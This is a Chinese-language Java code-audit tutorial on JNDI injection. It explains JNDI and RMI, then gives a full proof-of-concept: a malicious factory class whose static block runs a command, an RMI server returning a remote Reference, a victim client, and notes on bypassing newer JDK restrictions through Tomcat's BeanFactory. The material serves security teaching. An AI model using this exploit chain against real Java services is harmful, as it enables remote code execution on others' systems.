Java代码审计系列之 JNDI注入

1337163122

Java代码审计系列之 JNDI注入moonsec 昨天
以下文章来源于风炫安全 ，作者风炫安全
​
风炫安全
专注渗透测试/网络安全/安全开发知识分享，全网知识库:evalshell.com
0x01 前言在Java反序列化漏洞挖掘或利用的时候经常会遇到RMI、JNDI、JRMP这些概念，其中RMI是一个基于序列化的Java远程方法调用机制。作为一个常见的反序列化入口，它和反序列化漏洞有着千丝万缕的联系。除了直接攻击RMI服务接口外（比如：CVE-2017-3241），我们在构造反序列化漏洞利用时也可以结合RMI方便的实现远程代码执行。
我们在之前的课程中说到过动态类的加载，而jndi注入就是利用动态类的加载来完成攻击的，在这之前，我们先来了解一下jndi注入的基础知识
0x02 啥是jndiJNDI是 Java 命名与目录接口（Java Naming and Directory Interface），在J2EE规范中是重要的规范之一，有不少大佬可能认为，没有透彻理解JNDI的意义和作用，就没有真正掌握J2EE特别是EJB的知识。
我们来举个常规的JDBC的例子
Connection jdbcconn=null; try {  Class.forName("com.mysql.jdbc.Driver");  jdbcconn=DriverManager.getConnection("jdbc:mysql://MyDBServer?user=xxx&password=xxx");  ......  jdbcconn.close(); } catch(Exception e) {  e.printStackTrace(); } finally {  if(jdbcconn!=null) {   try {    jdbcconn.close();   } catch(SQLException e) {          } }
这是常规的链接数据库的例子，也是其他语言程序员的常见做法。
优点

• 无可厚非这种方法在小规模的开发过程中不会有任何影响，只要程序员熟悉Java和Mysql，就可以很快开发出相应的程序。
  
  

缺点1、数据库服务器地址和名称 、用户名和口令都可能需要改变，由此引发JDBC URL需要修改；
2、数据库可能改用别的产品，如改用DB2或者Oracle，引发JDBC驱动程序包和类名需要修改；
3、随着实际使用终端的增加，原配置的连接池参数可能需要调整；
如何解决在对于Java这种强抽象模式的编程语言来说，肯定不会允许这么LowB的存在，程序员不应该关注后台的数据库是啥，版本是多少。所以为了统一化管理，就诞生了JNDI
0x03 使用JNDI在一开始很多人都会被jndi、rmi这些词汇搞的晕头转向，而且很多文章中提到了可以用jndi调用rmi,就更容易让人发昏了。我们只要知道jndi是对各种访问目录服务的逻辑进行了再封装,也就是以前我们访问rmi与ldap要写的代码差别很大，但是有了jndi这一层，我们就可以用jndi的方式来轻松访问rmi或者ldap服务，这样访问不同的服务的代码实现基本是一样的。
​
代码实现JNDI中有绑定和查找的方法：
- bind：将第一个参数绑定到第二个参数的对象上面- lookup：通过提供的名称查找对象
我们来举个例子：
IHello.java
package com.evalshell.jndi;import java.rmi.Remote;import java.rmi.RemoteException;public interface IHello extends Remote {    public String SayHello(String name) throws RemoteException;}
IHelloImpl.java
package com.evalshell.jndi;import java.rmi.RemoteException;import java.rmi.server.UnicastRemoteObject;public class IHelloImpl extends UnicastRemoteObject implements IHello {    public IHelloImpl() throws RemoteException {        super();    }    @Override    public String SayHello(String name) throws RemoteException {        return "Hello " + name;    }}
CallService.java
package com.evalshell.jndi;import javax.naming.Context;import javax.naming.InitialContext;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.util.Properties;public class CallService {    public static void main(String[] args) throws Exception{        Properties env = new Properties();        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");        env.put(Context.PROVIDER_URL, "rmi://localhost:1099");        Context ctx = new InitialContext(env);        Registry registry = LocateRegistry.createRegistry(1099);        IHello hello = new IHelloImpl();        registry.bind("hello", hello);        IHello rhello = (IHello) ctx.lookup("rmi://localhost:1099/hello");        System.out.println(rhello.SayHello("fengxuan"));    }}
​
由于上面的代码将服务端与客户端写到了一起，所以看着不那么清晰，我看到很多文章里吧JNDI工厂初始化这一步操作划分到了服务端，我觉得是错误的，配置jndi工厂与jndi的url和端口应该是客户端的事情。

可以对比一下前几章的rmi demo与这里的jndi demo访问远程对象的区别，加深理解

JNDI注入注入的原理我们来到JNDI注入的核心部分，关于JNDI注入，@pwntester在BlackHat上的讲义中写的已经很详细。我们这里重点讲一下和RMI反序列化相关的部分。接触过JNDI注入的同学可能会疑问，不应该是RMI服务器最终执行远程方法吗，为什么目标服务器lookup()一个恶意的RMI服务地址，会被执行恶意代码呢？
在JNDI服务中，RMI服务端除了直接绑定远程对象之外，还可以通过References类来绑定一个外部的远程对象（当前名称目录系统之外的对象）。绑定了Reference之后，服务端会先通过Referenceable.getReference()获取绑定对象的引用，并且在目录中保存。当客户端在lookup()查找这个远程对象时，客户端会获取相应的object factory，最终通过factory类将reference转换为具体的对象实例。
整个利用流程如下：

• 目标代码中调用了InitialContext.lookup(URI)，且URI为用户可控；
  
• 攻击者控制URI参数为恶意的RMI服务地址，如：rmi://hacker_rmi_server//name；
  
• 攻击者RMI服务器向目标返回一个Reference对象，Reference对象中指定某个精心构造的Factory类；
  
• 目标在进行lookup()操作时，会动态加载并实例化Factory类，接着调用factory.getObjectInstance()获取外部远程对象实例；
  
• 攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码，达到RCE的效果；
  
  

在这里，攻击目标扮演的相当于是JNDI客户端的角色，攻击者通过搭建一个恶意的RMI服务端来实施攻击。我们跟入lookup()函数的代码中，可以看到JNDI中对Reference类的处理逻辑，最终会调用NamingManager.getObjectInstance()：
实战案例

• 首先创建一个恶意的对象
  package com.evalshell.jndi;import javax.lang.model.element.Name;import javax.naming.Context;import java.io.BufferedInputStream;import java.io.BufferedReader;import java.io.IOException;import java.io.InputStreamReader;import java.util.HashMap;public class BadObject {    public static void exec(String cmd) throws IOException {        String sb = "";        BufferedInputStream bufferedInputStream = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());        BufferedReader inBr = new BufferedReader(new InputStreamReader(bufferedInputStream));        String lineStr;        while((lineStr = inBr.readLine()) != null){            sb += lineStr+"\n";        }        inBr.close();        inBr.close();    }    public Object getObjectInstance(Object obj, Name name, Context context, HashMap<?, ?> environment) throws Exception{        return null;    }    static {        try{            exec("gnome-calculator");        }catch (Exception e){            e.printStackTrace();        }    }}
  
  

可以看到这里利用的是static代码块执行命令

• 创建rmi服务端，绑定恶意的Reference到rmi注册表
  
  

package com.evalshell.jndi;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;import javax.naming.Reference;import java.rmi.AlreadyBoundException;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class Server {    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {        Registry registry = LocateRegistry.createRegistry(1100);        String url = "http://127.0.0.1:7777/";        System.out.println("Create RMI registry on port 1100");        Reference reference = new Reference("EvilObj", "EvilObj", url);        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);        registry.bind("evil", referenceWrapper);    }}

• 创建一个客户端（受害者）
  package com.evalshell.jndi;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;public class Client {    public static void main(String[] args) throws NamingException {        Context context = new InitialContext();        context.lookup("rmi://localhost:1100/evil");    }}
  可以看到这里的lookup方法的参数是指向我设定的恶意rmi地址的。
  然后先编译该项目，生成class文件，然后在class文件目录下用python启动一个简单的HTTP Server:
  python -m SimpleHTTPServer 7777
  执行上述命令就会在7777端口、当前目录下运行一个HTTP Server：
  ​
  然后运行Server端，启动rmi registry服务
  ​
  如果是JDK1.7的版本，就可以运行成功
  ​
  JDK1.8 最后运行报错
  ​
  而此时使用JNDI Server返回恶意Reference是可以成功利用的，因为JDK 8u191以后才对LDAP JNDI Reference进行了限制。
  

  Tips: 测试过程中有个细节，我们在JDK 8u102中使用RMI Server + JNDI Reference可以成功利用，而此时我们手工将 com.sun.jndi.rmi.object.trustURLCodebase 等属性设置为false，并不会如预期一样有高版本JDK的限制效果出现，Payload依然可以利用。
  

  
  

绕过高版本JDK限制：利用本地Class作为Reference Factory在高版本中（如：JDK8u191以上版本）虽然不能从远程加载恶意的Factory，但是我们依然可以在返回的Reference中指定Factory Class，这个工厂类必须在受害目标本地的CLASSPATH中。工厂类必须实现 javax.naming.spi.ObjectFactory 接口，并且至少存在一个 getObjectInstance() 方法。org.apache.naming.factory.BeanFactory 刚好满足条件并且存在被利用的可能。org.apache.naming.factory.BeanFactory 存在于Tomcat依赖包中，所以使用也是非常广泛。
org.apache.naming.factory.BeanFactory 在 getObjectInstance() 中会通过反射的方式实例化Reference所指向的任意Bean Class，并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值，全都来自于Reference对象，均是攻击者可控的。
参考https://tntaxin.blog.csdn.net/article/details/105586691